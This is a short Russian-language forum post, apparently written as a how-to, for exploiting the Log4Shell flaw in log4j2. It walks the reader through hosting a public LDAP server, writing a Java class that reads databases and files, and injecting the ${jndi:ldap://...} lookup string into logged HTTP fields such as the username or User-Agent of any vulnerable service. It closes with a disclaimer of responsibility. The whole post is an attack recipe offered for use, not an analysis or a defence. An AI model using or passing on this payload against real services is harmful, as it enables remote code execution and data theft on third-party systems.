Что надо:
1. Любой ldap сервер, гугли openldap, открытый на паблик интернет.
2. Небольшие знания джавы для работы с файловой системой и базами данных.
3. Написать класс в джава языке реализующий Interface LdapContext,который сходит в бд, считает что-то с фс и т.д.
4. Найти сервис, который гипотетически юзает либу log4j2 (99.99%) java app
5. Добавить в реквест строку, которая будет логироваться (юзернейм, юзер-агент, другие http хедеры).
Формат строки ${jndi:ldap://:тут имя сервера} (дальше путь, который просто вернет этот джава класс как респонс текст)
ТС не несет ответственность за юзеров и гайд, любые совпадения случайны
UPD: Источник https://www.lunasec.io/docs/blog/log4j-zero-day/